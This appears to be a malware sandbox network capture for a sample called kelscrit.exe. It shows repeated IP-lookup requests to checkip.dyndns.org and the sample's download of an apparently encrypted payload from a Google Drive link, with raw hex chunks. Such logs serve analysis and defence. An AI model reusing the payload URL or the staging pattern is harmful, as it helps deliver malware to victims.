Dec 3, 2024 10:12:19.203068972 CET	321	IN	HTTP/1.1 200 OK Date: Tue, 03 Dec 2024 09:12:19 GMT Content-Type: text/html Content-Length: 104 Connection: keep-alive Cache-Control: no-cache Pragma: no-cache X-Request-ID: 03f21e14a295cec18dd8cc27c531f4d1 Data Raw: 3c 68 74 6d 6c 3e 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 43 75 72 72 65 6e 74 20 49 50 20 43 68 65 63 6b 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 3c 62 6f 64 79 3e 43 75 72 72 65 6e 74 20 49 50 20 41 64 64 72 65 73 73 3a 20 38 2e 34 36 2e 31 32 33 2e 32 32 38 3c 2f 62 6f 64 79 3e 3c 2f 68 74 6d 6c 3e 0d 0a Data Ascii: <html><head><title>Current IP Check</title></head><body>Current IP Address: 8.46.123.228</body></html>
Dec 3, 2024 10:12:21.420975924 CET	127	OUT	GET / HTTP/1.1 User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.2; .NET CLR1.0.3705;) Host: checkip.dyndns.org
Dec 3, 2024 10:12:21.798348904 CET	321	IN	HTTP/1.1 200 OK Date: Tue, 03 Dec 2024 09:12:21 GMT Content-Type: text/html Content-Length: 104 Connection: keep-alive Cache-Control: no-cache Pragma: no-cache X-Request-ID: 01904c0029d8cc78be63d2a814d940d9 Data Raw: 3c 68 74 6d 6c 3e 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 43 75 72 72 65 6e 74 20 49 50 20 43 68 65 63 6b 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 3c 62 6f 64 79 3e 43 75 72 72 65 6e 74 20 49 50 20 41 64 64 72 65 73 73 3a 20 38 2e 34 36 2e 31 32 33 2e 32 32 38 3c 2f 62 6f 64 79 3e 3c 2f 68 74 6d 6c 3e 0d 0a Data Ascii: <html><head><title>Current IP Check</title></head><body>Current IP Address: 8.46.123.228</body></html>

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1	192.168.2.4	49797	158.101.44.242	80	5756	C:\Users\user\Desktop\kelscrit.exe

Timestamp	Bytes transferred	Direction	Data
Dec 3, 2024 10:12:23.700139999 CET	127	OUT	GET / HTTP/1.1 User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.2; .NET CLR1.0.3705;) Host: checkip.dyndns.org
Dec 3, 2024 10:12:24.996876955 CET	321	IN	HTTP/1.1 200 OK Date: Tue, 03 Dec 2024 09:12:24 GMT Content-Type: text/html Content-Length: 104 Connection: keep-alive Cache-Control: no-cache Pragma: no-cache X-Request-ID: f83c63403973d5079afbef3aa024dc3b Data Raw: 3c 68 74 6d 6c 3e 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 43 75 72 72 65 6e 74 20 49 50 20 43 68 65 63 6b 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 3c 62 6f 64 79 3e 43 75 72 72 65 6e 74 20 49 50 20 41 64 64 72 65 73 73 3a 20 38 2e 34 36 2e 31 32 33 2e 32 32 38 3c 2f 62 6f 64 79 3e 3c 2f 68 74 6d 6c 3e 0d 0a Data Ascii: <html><head><title>Current IP Check</title></head><body>Current IP Address: 8.46.123.228</body></html>

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
2	192.168.2.4	49805	158.101.44.242	80	5756	C:\Users\user\Desktop\kelscrit.exe

Timestamp	Bytes transferred	Direction	Data
Dec 3, 2024 10:12:26.861700058 CET	151	OUT	GET / HTTP/1.1 User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.2; .NET CLR1.0.3705;) Host: checkip.dyndns.org Connection: Keep-Alive
Dec 3, 2024 10:12:28.064918041 CET	321	IN	HTTP/1.1 200 OK Date: Tue, 03 Dec 2024 09:12:27 GMT Content-Type: text/html Content-Length: 104 Connection: keep-alive Cache-Control: no-cache Pragma: no-cache X-Request-ID: 0cfb227ca9ab4a435167e774eda7d6f6 Data Raw: 3c 68 74 6d 6c 3e 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 43 75 72 72 65 6e 74 20 49 50 20 43 68 65 63 6b 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 3c 62 6f 64 79 3e 43 75 72 72 65 6e 74 20 49 50 20 41 64 64 72 65 73 73 3a 20 38 2e 34 36 2e 31 32 33 2e 32 32 38 3c 2f 62 6f 64 79 3e 3c 2f 68 74 6d 6c 3e 0d 0a Data Ascii: <html><head><title>Current IP Check</title></head><body>Current IP Address: 8.46.123.228</body></html>

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
3	192.168.2.4	49813	158.101.44.242	80	5756	C:\Users\user\Desktop\kelscrit.exe

Timestamp	Bytes transferred	Direction	Data
Dec 3, 2024 10:12:29.959621906 CET	151	OUT	GET / HTTP/1.1 User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.2; .NET CLR1.0.3705;) Host: checkip.dyndns.org Connection: Keep-Alive
Dec 3, 2024 10:12:31.264360905 CET	321	IN	HTTP/1.1 200 OK Date: Tue, 03 Dec 2024 09:12:31 GMT Content-Type: text/html Content-Length: 104 Connection: keep-alive Cache-Control: no-cache Pragma: no-cache X-Request-ID: 309680250b1483aa92e85e4d4749dc88 Data Raw: 3c 68 74 6d 6c 3e 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 43 75 72 72 65 6e 74 20 49 50 20 43 68 65 63 6b 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 3c 62 6f 64 79 3e 43 75 72 72 65 6e 74 20 49 50 20 41 64 64 72 65 73 73 3a 20 38 2e 34 36 2e 31 32 33 2e 32 32 38 3c 2f 62 6f 64 79 3e 3c 2f 68 74 6d 6c 3e 0d 0a Data Ascii: <html><head><title>Current IP Check</title></head><body>Current IP Address: 8.46.123.228</body></html>

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
4	192.168.2.4	49824	158.101.44.242	80	5756	C:\Users\user\Desktop\kelscrit.exe

Timestamp	Bytes transferred	Direction	Data
Dec 3, 2024 10:12:33.105331898 CET	151	OUT	GET / HTTP/1.1 User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.2; .NET CLR1.0.3705;) Host: checkip.dyndns.org Connection: Keep-Alive
Dec 3, 2024 10:12:34.356170893 CET	321	IN	HTTP/1.1 200 OK Date: Tue, 03 Dec 2024 09:12:34 GMT Content-Type: text/html Content-Length: 104 Connection: keep-alive Cache-Control: no-cache Pragma: no-cache X-Request-ID: 9cbdceaa122ee1ac682ce6bfe62eeffc Data Raw: 3c 68 74 6d 6c 3e 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 43 75 72 72 65 6e 74 20 49 50 20 43 68 65 63 6b 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 3c 62 6f 64 79 3e 43 75 72 72 65 6e 74 20 49 50 20 41 64 64 72 65 73 73 3a 20 38 2e 34 36 2e 31 32 33 2e 32 32 38 3c 2f 62 6f 64 79 3e 3c 2f 68 74 6d 6c 3e 0d 0a Data Ascii: <html><head><title>Current IP Check</title></head><body>Current IP Address: 8.46.123.228</body></html>

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
5	192.168.2.4	49831	158.101.44.242	80	5756	C:\Users\user\Desktop\kelscrit.exe

Timestamp	Bytes transferred	Direction	Data
Dec 3, 2024 10:12:36.252856016 CET	151	OUT	GET / HTTP/1.1 User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.2; .NET CLR1.0.3705;) Host: checkip.dyndns.org Connection: Keep-Alive
Dec 3, 2024 10:12:37.550146103 CET	321	IN	HTTP/1.1 200 OK Date: Tue, 03 Dec 2024 09:12:37 GMT Content-Type: text/html Content-Length: 104 Connection: keep-alive Cache-Control: no-cache Pragma: no-cache X-Request-ID: 187a59e77d87c21eb9ac683b7fca1402 Data Raw: 3c 68 74 6d 6c 3e 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 43 75 72 72 65 6e 74 20 49 50 20 43 68 65 63 6b 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 3c 62 6f 64 79 3e 43 75 72 72 65 6e 74 20 49 50 20 41 64 64 72 65 73 73 3a 20 38 2e 34 36 2e 31 32 33 2e 32 32 38 3c 2f 62 6f 64 79 3e 3c 2f 68 74 6d 6c 3e 0d 0a Data Ascii: <html><head><title>Current IP Check</title></head><body>Current IP Address: 8.46.123.228</body></html>

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
6	192.168.2.4	49842	158.101.44.242	80	5756	C:\Users\user\Desktop\kelscrit.exe

Timestamp	Bytes transferred	Direction	Data
Dec 3, 2024 10:12:39.393455982 CET	151	OUT	GET / HTTP/1.1 User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.2; .NET CLR1.0.3705;) Host: checkip.dyndns.org Connection: Keep-Alive
Dec 3, 2024 10:12:40.706495047 CET	321	IN	HTTP/1.1 200 OK Date: Tue, 03 Dec 2024 09:12:40 GMT Content-Type: text/html Content-Length: 104 Connection: keep-alive Cache-Control: no-cache Pragma: no-cache X-Request-ID: dddaa7833e2d69c373012827dac938b1 Data Raw: 3c 68 74 6d 6c 3e 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 43 75 72 72 65 6e 74 20 49 50 20 43 68 65 63 6b 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 3c 62 6f 64 79 3e 43 75 72 72 65 6e 74 20 49 50 20 41 64 64 72 65 73 73 3a 20 38 2e 34 36 2e 31 32 33 2e 32 32 38 3c 2f 62 6f 64 79 3e 3c 2f 68 74 6d 6c 3e 0d 0a Data Ascii: <html><head><title>Current IP Check</title></head><body>Current IP Address: 8.46.123.228</body></html>

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
7	192.168.2.4	49850	158.101.44.242	80	5756	C:\Users\user\Desktop\kelscrit.exe

Timestamp	Bytes transferred	Direction	Data
Dec 3, 2024 10:12:42.490459919 CET	151	OUT	GET / HTTP/1.1 User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.2; .NET CLR1.0.3705;) Host: checkip.dyndns.org Connection: Keep-Alive
Dec 3, 2024 10:12:43.785778046 CET	321	IN	HTTP/1.1 200 OK Date: Tue, 03 Dec 2024 09:12:43 GMT Content-Type: text/html Content-Length: 104 Connection: keep-alive Cache-Control: no-cache Pragma: no-cache X-Request-ID: 39e81a12ce9957a44f915711b2638a6c Data Raw: 3c 68 74 6d 6c 3e 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 43 75 72 72 65 6e 74 20 49 50 20 43 68 65 63 6b 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 3c 62 6f 64 79 3e 43 75 72 72 65 6e 74 20 49 50 20 41 64 64 72 65 73 73 3a 20 38 2e 34 36 2e 31 32 33 2e 32 32 38 3c 2f 62 6f 64 79 3e 3c 2f 68 74 6d 6c 3e 0d 0a Data Ascii: <html><head><title>Current IP Check</title></head><body>Current IP Address: 8.46.123.228</body></html>

HTTPS Proxied Packets

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
0	192.168.2.4	49758	172.217.19.238	443	5756	C:\Users\user\Desktop\kelscrit.exe

Timestamp	Bytes transferred	Direction	Data
2024-12-03 09:12:10 UTC	216	OUT	GET /uc?export=download&id=1SNuP_I7UYg8uQJi48SWGSQyWXLWmkyvC HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:131.0) Gecko/20100101 Firefox/131.0 Host: drive.google.com Cache-Control: no-cache
2024-12-03 09:12:11 UTC	1920	IN	HTTP/1.1 303 See Other Content-Type: application/binary Cache-Control: no-cache, no-store, max-age=0, must-revalidate Pragma: no-cache Expires: Mon, 01 Jan 1990 00:00:00 GMT Date: Tue, 03 Dec 2024 09:12:11 GMT Location: https://drive.usercontent.google.com/download?id=1SNuP_I7UYg8uQJi48SWGSQyWXLWmkyvC&export=download Strict-Transport-Security: max-age=31536000 Content-Security-Policy: script-src 'nonce-r1WjtP6Z_EwL0th5wRcNBQ' 'unsafe-inline';object-src 'none';base-uri 'self';report-uri /_/DriveUntrustedContentHttp/cspreport;worker-src 'self' Content-Security-Policy: script-src 'unsafe-inline' 'unsafe-eval' blob: data: 'self' https://apis.google.com https://ssl.gstatic.com https://www.google.com https://www.googletagmanager.com https://www.gstatic.com https://www.google-analytics.com;report-uri /_/DriveUntrustedContentHttp/cspreport/allowlist Content-Security-Policy: require-trusted-types-for 'script';report-uri /_/DriveUntrustedContentHttp/cspreport Content-Security-Policy-Report-Only: script-src 'unsafe-inline' 'unsafe-eval' blob: data: https://translate.google.com/translate_a/element.js https://www.google-analytics.com/analytics.js https://translate.googleapis.com/_/translate_http/_/js/;report-uri /_/DriveUntrustedContentHttp/cspreport/fine-allowlist Cross-Origin-Opener-Policy: same-origin Permissions-Policy: ch-ua-arch=, ch-ua-bitness=, ch-ua-full-version=, ch-ua-full-version-list=, ch-ua-model=, ch-ua-wow64=, ch-ua-form-factors=, ch-ua-platform=, ch-ua-platform-version=* Accept-CH: Sec-CH-UA-Arch, Sec-CH-UA-Bitness, Sec-CH-UA-Full-Version, Sec-CH-UA-Full-Version-List, Sec-CH-UA-Model, Sec-CH-UA-WoW64, Sec-CH-UA-Form-Factors, Sec-CH-UA-Platform, Sec-CH-UA-Platform-Version Server: ESF Content-Length: 0 X-XSS-Protection: 0 X-Frame-Options: SAMEORIGIN X-Content-Type-Options: nosniff Alt-Svc: h3=":443"; ma=2592000,h3-29=":443"; ma=2592000 Connection: close

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1	192.168.2.4	49764	142.250.181.129	443	5756	C:\Users\user\Desktop\kelscrit.exe

Timestamp	Bytes transferred	Direction	Data
2024-12-03 09:12:13 UTC	258	OUT	GET /download?id=1SNuP_I7UYg8uQJi48SWGSQyWXLWmkyvC&export=download HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:131.0) Gecko/20100101 Firefox/131.0 Cache-Control: no-cache Host: drive.usercontent.google.com Connection: Keep-Alive
2024-12-03 09:12:16 UTC	4915	IN	HTTP/1.1 200 OK Content-Type: application/octet-stream Content-Security-Policy: sandbox Content-Security-Policy: default-src 'none' Content-Security-Policy: frame-ancestors 'none' X-Content-Security-Policy: sandbox Cross-Origin-Opener-Policy: same-origin Cross-Origin-Embedder-Policy: require-corp Cross-Origin-Resource-Policy: same-site X-Content-Type-Options: nosniff Content-Disposition: attachment; filename="glTMGMAE4.bin" Access-Control-Allow-Origin: * Access-Control-Allow-Credentials: false Access-Control-Allow-Headers: Accept, Accept-Language, Authorization, Cache-Control, Content-Disposition, Content-Encoding, Content-Language, Content-Length, Content-MD5, Content-Range, Content-Type, Date, developer-token, financial-institution-id, X-Goog-Sn-Metadata, X-Goog-Sn-PatientId, GData-Version, google-cloud-resource-prefix, linked-customer-id, login-customer-id, x-goog-request-params, Host, If-Match, If-Modified-Since, If-None-Match, If-Unmodified-Since, Origin, OriginToken, Pragma, Range, request-id, Slug, Transfer-Encoding, hotrod-board-name, hotrod-chrome-cpu-model, hotrod-chrome-processors, Want-Digest, X-Ad-Manager-Impersonation, x-chrome-connected, X-ClientDetails, X-Client-Pctx, X-Client-Version, x-debug-settings-metadata, X-Firebase-Locale, X-Goog-Firebase-Installations-Auth, X-Firebase-Client, X-Firebase-Client-Log-Type, X-Firebase-GMPID, X-Firebase-Auth-Token, X-Firebase-AppCheck, X-Firebase-Token, X-Goog-Drive-Client-Version, X-Goog-Drive-Resource-Keys, X-GData-Client, X-GData-Key, X-GoogA [TRUNCATED] Access-Control-Allow-Methods: GET,HEAD,OPTIONS Accept-Ranges: bytes Content-Length: 277056 Last-Modified: Mon, 02 Dec 2024 10:40:11 GMT X-GUploader-UploadID: AFiumC7MFCGCdlY636f9MEkErWaiigeUOliGpSL5-4j4Snp24gf1rl8oJAaX6YvkPDKgCSmfOpvZsBQPRw Date: Tue, 03 Dec 2024 09:12:15 GMT Expires: Tue, 03 Dec 2024 09:12:15 GMT Cache-Control: private, max-age=0 X-Goog-Hash: crc32c=8kfyRQ== Server: UploadServer Alt-Svc: h3=":443"; ma=2592000,h3-29=":443"; ma=2592000 Connection: close
2024-12-03 09:12:16 UTC	4915	IN	Data Raw: f9 5e b0 ac a2 43 1c 88 bb ba 09 06 f3 16 63 38 9d 04 e4 84 6f 89 cf 28 28 dd 9b 70 07 65 74 35 3a 13 1e f6 d2 80 99 0b 3d 19 df 53 5e f4 a0 96 71 60 f3 ac 49 70 2c 6c 84 16 86 b2 25 f3 dc 3c 7e 9f 00 5c b5 ea 6f 14 6e 52 d3 3c 4b b2 19 87 8b c5 15 a0 9d 7e 06 05 f8 09 5a b1 3c b2 43 f3 a0 7c e8 86 c6 31 a3 69 4e 70 84 39 25 81 e8 f4 5b f4 80 00 db a2 cd b5 f6 2e da dd 6f 8e d3 7d 82 70 b8 9c a6 bf 01 f0 30 b9 c5 73 b5 a9 46 9c 33 e6 6b 58 27 ef 9f dd c6 01 36 09 f1 1a 73 56 9a 8d ca 86 53 8a c6 00 7c 61 c4 19 14 1e fe c9 35 f8 1b b6 7e 5f a6 bb 4b 88 a3 3c 25 7a ec b6 6a b5 14 dc a2 2e 2b 74 50 0e a8 8e 0b 61 c9 bd 28 07 07 58 83 de 76 8c 40 90 cd 84 f3 4a 65 9b df cb 3c d6 05 21 9d 75 ca 58 ea ab 23 b9 c2 79 f9 fa 6c f6 94 3f 98 7e 1a bc 02 96 98 5b 8d Data Ascii: ^Cc8o((pet5:=S^q`Ip,l%<~\onR<K~Z<C\|1iNp9%[.o}p0sF3kX'6sVS\|a5~_K<%zj.+tPa(Xv@Je<!uX#yl?~[
2024-12-03 09:12:16 UTC	4868	IN	Data Raw: 68 2a 0b 75 44 a4 c5 d0 80 33 50 02 64 95 d5 92 50 40 a3 5b 17 b4 21 e2 50 1e ca f2 4b 43 5b ef 0a 8e 2d 98 b6 fc 0d f1 1c 9f 12 81 05 de 2e 0f b7 14 0d 06 bc ea a4 df 14 a5 dc 23 65 46 64 77 3a 2e 95 47 e4 bd 69 f4 69 3d c5 90 5c b6 ea 6f 14 6a 52 d3 3c b5 4d 19 87 e4 c4 15 a0 45 7f 06 05 a8 09 5a b1 79 b2 43 f2 bb 4c eb 86 77 31 a3 69 5d 70 84 28 25 81 c0 97 5b f4 8a 0b dc 8a 97 b5 f6 24 d9 b2 b3 8e d3 77 e3 0b 02 92 ac 0b 0f 22 01 8c 9b 3f 78 89 7d 91 5a 95 41 28 52 87 97 c9 a7 6c 1c 6d ff 13 1d 39 e4 c2 c0 e3 73 f2 bf 6e 2f 61 aa 39 5a 42 a9 e9 49 93 77 c4 23 38 ab b1 65 9b a6 3c 34 7f 9f dd 3a f0 1e cf e8 3e 2e 76 e6 e7 38 e8 01 61 17 b3 28 16 01 74 6b cf 72 e2 4a 91 9d 8e f3 b2 70 9f b0 b2 3c d6 0f 2c 43 7b d4 0a eb 87 2b 88 c7 16 f8 9a 68 fc 94 e3 Data Ascii: h*uD3PdP@[!PKC[-.#eFdw:.Gii=\ojR<MEZyCLw1i]p(%[$w"?x}ZA(Rlm9sn/a9ZBIw#8e<4:>.v8a(tkrJp<,C{+h
2024-12-03 09:12:16 UTC	1323	IN	Data Raw: 40 13 88 3a 82 09 b2 0a 7a 24 5c 10 91 51 70 b3 1f 27 4e 8a 9e 88 99 e0 94 0a 50 b7 ad 2a 0d de 13 5d 4b d3 82 af 4d 4d 00 0e 6a 71 ff 17 4d 0a 7d 7a 1a f0 53 34 5f a8 37 2a 0b 75 4e b0 e7 08 ad 16 78 30 17 55 df 81 55 68 4a 39 17 be 2b 4f 92 1e e0 f8 58 0a 06 e7 74 b6 2d 98 b2 d5 ce f1 1c a2 7c 45 05 4f 25 0f a6 12 62 c3 bc ea ae a1 29 a7 dc 27 0a 2d 65 77 30 35 84 4f 96 ec 78 f4 19 1b 71 90 5c bc 98 c0 04 6a 22 fb 67 b4 4d 13 e8 f4 c5 15 aa 9d 6f 0e 18 35 49 5a b1 3d 97 55 81 ed 73 e8 f6 64 14 b4 41 fa 70 84 33 87 a4 f0 86 3c fb 80 70 79 87 d4 cb ce 2e da d9 4d ab c9 0f 07 60 02 e2 04 2e 13 43 3b 01 c4 3b da ad 0e 86 c3 9a 4b 58 f7 a8 8d af a7 66 79 a2 90 74 17 39 90 91 a8 e3 77 8b 7a 6e 5c 02 b9 30 2e 60 ad e9 5c e5 ea d1 50 22 bd 99 ee 88 a3 36 33 84 Data Ascii: @:z$\Qp'NP]KMMjqM}zS4_7uNx0UUhJ9+OXt-\|EO%b)'-ew05Oxq\j"gMo5IZ=UsdAp3<py.M`.C;;KXfyt9wzn\0.`\P"63
2024-12-03 09:12:16 UTC	1390	IN	Data Raw: 93 b1 25 45 1c a8 19 23 20 57 5d 68 b8 1a 7d a4 99 f3 da e7 14 a7 d8 81 40 f1 17 fc 35 35 e5 e5 c1 6e 16 de 69 33 c1 32 79 aa 98 f6 1b 6a 22 71 14 c1 4d 19 8d 5c 99 15 a0 97 6d 27 1e 35 49 5a b1 3d 97 55 81 53 6e e8 f6 64 14 b4 41 fa 70 84 33 87 a4 f0 86 3c fb 80 70 79 87 d4 cb ce 2e da d9 4d ab c9 0f bd 6c 02 e2 04 23 7d 3d 11 0b d7 1d 6e a0 64 f4 5a 9f 4b 08 55 8c f8 af 8f 1b 16 6a 9a 74 1d 47 d1 ad a8 e7 62 d9 c1 4f 4f 08 da 47 4f 51 ad ed 70 de 7f d3 5a 43 89 cf 2f 88 a3 38 0d 44 ec b6 3c f0 ca cc cb 07 1c 74 89 81 2b cb 0b 49 ab bd 28 0d d9 58 63 de 74 f3 7c 91 9d 80 81 fb 63 9b af c9 14 57 05 21 97 63 2a 1a fd 8f 32 bd ee 25 e4 17 28 f6 94 3e fd 68 68 d1 0d 96 e8 fb a8 93 dd dd 55 2b 66 1d 1c fa d9 77 95 d7 e9 cd 2c 35 90 fa 95 7a 83 e8 f1 56 f9 8c Data Ascii: %E# W]h}@55ni32yj"qM\m'5IZ=USndAp3<py.Ml#}=ndZKUjtGbOOGOQpZC/8D<t+I(Xct\|cW!c*2%(>hhU+fw,5zV
2024-12-03 09:12:16 UTC	1390	IN	Data Raw: a3 3c 2f 15 24 b6 3a fa 14 a2 c5 2f 28 70 fa 66 38 e8 01 72 ce ac 2e 68 d6 58 63 d4 65 8a 24 42 9d 84 f9 6e 1f a7 df df 38 a5 cc 21 9d 7f c7 13 90 9a 23 99 c6 0b 6c 98 68 86 82 17 59 7e 1a 96 14 68 99 4a 84 95 fc 45 59 3a 64 a8 56 28 ab 10 90 d7 99 44 02 2c ff ca 83 15 4d 4a d4 46 8b 07 71 ed 12 b0 74 c3 44 49 18 e6 9d 64 4f da c0 f9 cb e0 f5 fa e7 73 8c 64 b1 b9 f3 35 37 25 aa 53 eb 67 36 7c 4f 45 31 af 15 78 dd c2 96 df 20 41 45 3c 18 33 63 cc a9 11 5f 5e 85 3e 21 27 25 0a dd e9 1e 59 a0 67 cc a5 f4 35 3f d4 a8 dc 35 c4 56 28 06 2d 53 69 cd 6c 1f 6a d9 d2 30 75 6c 0f 8c 92 2c b7 a0 b2 a3 67 74 5b 04 1f 25 b5 d6 df 65 9f c8 d1 92 ae 22 04 4d fb 10 41 a8 9b ec 8f ab e8 58 4e a6 44 1a 51 92 b3 b7 74 1f 02 40 59 e9 b2 0e 8e 79 c4 75 33 c3 70 f7 d2 11 64 33 Data Ascii: </$:/(pf8r.hXce$Bn8!#lhY~hJEY:dV(D,MJFqtDIdOsd57%Sg6\|OE1x AE<3c_^>!'%Yg5?5V(-Silj0ul,gt[%e"MAXNDQt@Yyu3pd3
2024-12-03 09:12:16 UTC	1390	IN	Data Raw: 0c ad 21 26 fd 88 53 c6 b3 00 25 3f d2 b9 1c 32 c4 5c 88 35 2d 53 6d c1 cc 1d 6a ad b6 8d f6 6c 7f 90 ac 53 b6 ab bf 8c bd 74 48 0f 1a fe d9 1d de 64 b7 9b fa 92 a4 54 07 b6 fb 60 5c 36 94 92 b9 aa cd 4a 42 d3 55 1a 25 ac 9f 36 74 19 67 ef a7 e8 ab 71 b8 61 fd dc 1b 98 70 e1 f0 19 2f 33 26 ab 98 e3 0e 7d 0e 09 d5 44 65 bd 64 d8 6c 08 6c 9f 24 75 1d b4 24 46 74 32 19 80 a4 ef 1c 3a b6 3f 65 9e 54 00 96 b5 ad fb a0 5a 00 51 18 cd 6e f7 30 bb 35 23 7d ec 4b 6b 39 51 b8 3a 80 53 2e e7 cc 7a 4a df 00 f0 00 c5 7f 5f 93 87 96 ff 58 fa cc 9b db f0 65 3f 9d 8d 1c 20 ca 46 21 48 34 59 bc 71 a2 f2 e3 e3 db 85 af 7a 90 7e db 45 11 0b 57 d9 77 5a ae 1c 60 aa 10 88 29 95 6b 6f 55 05 3b 4e 58 1e d9 9e ca 5a 76 48 63 6b ec 52 8f 99 a7 03 ce e8 d5 35 0f b3 60 c0 dc 59 06 Data Ascii: !&S%?2\5-SmjlStHdT`\6JBU%6tgqap/3&}Dedll$u$Ft2:?eTZQn05#}Kk9Q:S.zJ_Xe? F!H4Yqz~EWwZ`)koU;NXZvHckR5`Y
2024-12-03 09:12:16 UTC	1390	IN	Data Raw: 49 41 47 cc 52 1a df 11 e1 72 93 3f 5f 99 86 b3 d1 e9 e1 d9 9b ab 52 56 00 c3 39 1c 2a c0 c4 04 5c 46 3e 9b 06 d2 50 cc fa b9 30 ef 7a 94 dd db 49 11 26 53 d9 77 d0 ca 07 1e b0 b2 ad 3a 84 c0 6f 55 0b 3b 4e 5c 1e 75 9b ca 5a fc 20 16 6b ea fa c5 dc d9 45 c4 e5 d9 9e a4 c0 78 b8 70 59 76 41 1b 8d 53 e1 41 bc c1 d7 b7 37 bc 3c e1 08 02 71 50 ef 71 a9 cd 97 f5 6c 7b ee d7 ec 12 c7 24 63 b8 0c 90 03 f8 18 b4 64 67 03 4a d0 fa ef 30 85 19 51 6d 05 d7 79 98 36 3c 58 04 62 90 28 67 8a 84 90 5d 52 60 7f 92 fe 9a 8a 56 a1 ff c4 48 f0 20 97 d8 ae a3 0d 7b 9d c4 3b 9a 7a 32 59 0e 42 cf ab 6e cb 45 36 aa 5d ba f3 a8 e9 30 88 82 86 2d b8 e8 3b 9a 75 4d d6 81 4d 7c ae 7f cb f7 25 1c d6 9c e3 e7 9a db 4d 4f d8 5d 4c dd f9 4d a7 6d 28 70 a5 39 ec 9c 39 0e 63 ae a9 12 ad Data Ascii: IAGRr?_RV9*\F>P0zI&Sw:oU;N\uZ kExpYvASA7<qPql{$cdgJ0Qmy6<Xb(g]R`VH {;z2YBnE6]0-;uMM\|%MO]LMm(p99c
2024-12-03 09:12:16 UTC	1390	IN	Data Raw: be 43 5a f3 06 65 54 7f 96 dc c0 8e 56 83 ef 03 5a fa 8d dc 9c ae a3 0b 6a 83 ab 1d b2 3e 36 2b 9d 40 12 5a 79 e3 c4 13 82 63 ac 0d a3 e9 2a 99 af dd e7 ba e2 e5 e4 5a 4d d6 85 41 3b be 7f bf 93 98 9f d6 ec ff d9 e5 da 5e 43 df a5 74 fe d8 5c 87 54 ef 8e a3 04 c4 c6 3f 7d a9 b3 24 58 85 3c d5 af 8c 82 2e 66 01 2e 7a b2 4d 0c 9f 49 b9 c6 f1 f6 30 03 0a 06 89 24 8a b9 69 9e 62 d4 e2 55 5e 29 2c 7d 95 44 ce 0f 86 19 bf f7 f3 2b fc fc 43 13 71 21 3d f7 09 0f 5c fe 3e a1 87 cc b6 dd 12 c2 09 d5 74 ba ea 43 0b a2 3d 24 c1 2d 4e 7e c9 85 0f cf e9 83 4c 6c 8d bf 18 a1 d5 7f 42 a7 66 71 23 56 83 7f af 24 9d a7 d8 34 1e 3b c0 43 66 72 fe 23 ee 54 b4 66 a5 d4 ff 35 21 d3 1d 54 78 47 0f 5a 40 fb 41 21 b4 19 18 6d c8 6b 6f 21 ee fd bc 70 13 ff 34 02 56 78 6a 5d 2d dd Data Ascii: CZeTVZj>6+@Zyc*ZMA;^Ct\T?}$X<.f.zMI0$ibU^),}D+Cq!=\>tC=$-N~LlBfq#V$4;Cfr#Tf5!TxGZ@A!mko!p4Vxj]-
2024-12-03 09:12:16 UTC	1390	IN	Data Raw: b2 0f 1f 85 7b 92 68 d5 5d e1 23 dd 3d 35 cc 5f 9f 3e c9 8f 1d c8 e4 7c 37 7a 8d ce 9f 92 b0 0e e1 a7 16 d9 a4 64 b3 b9 c8 2b 97 75 5f 09 75 22 f7 43 16 d4 79 1f 8a 1e 85 65 a1 06 78 0a 48 9c 3e 54 08 e1 85 0a 5c 89 0c 24 97 7f 92 33 bd 6b 65 2b a1 35 b0 70 19 d7 3d 3e 56 72 6e 2e 9a e2 73 43 dd ef e6 7f c8 78 eb 3d 06 49 32 98 a4 f6 43 99 0f ee 9e bf a7 55 39 0b 96 2b 4e 76 a0 a8 de 7f 76 0a fd c1 77 95 2f 5e a7 15 d9 cb 94 7f 89 ed bd f3 c5 da 00 70 3a 36 04 1f a3 d3 2d 7d 02 ba 5b ad 51 43 62 ab db a8 79 f0 96 24 01 52 ad 7c 3d 18 88 9d 05 37 42 82 94 ae 31 9d 2b 39 d8 f9 00 23 ac 3e e2 20 8e ed e7 3c 43 d5 20 73 02 4e d4 6d 82 99 bc 14 e7 e8 41 55 d7 0a a9 0b e6 ae 38 02 50 13 e4 a6 e2 ea 5d 4b 50 56 7c 98 18 46 66 2f f3 1c ab 2a 11 d4 cf b5 4d 91 bb 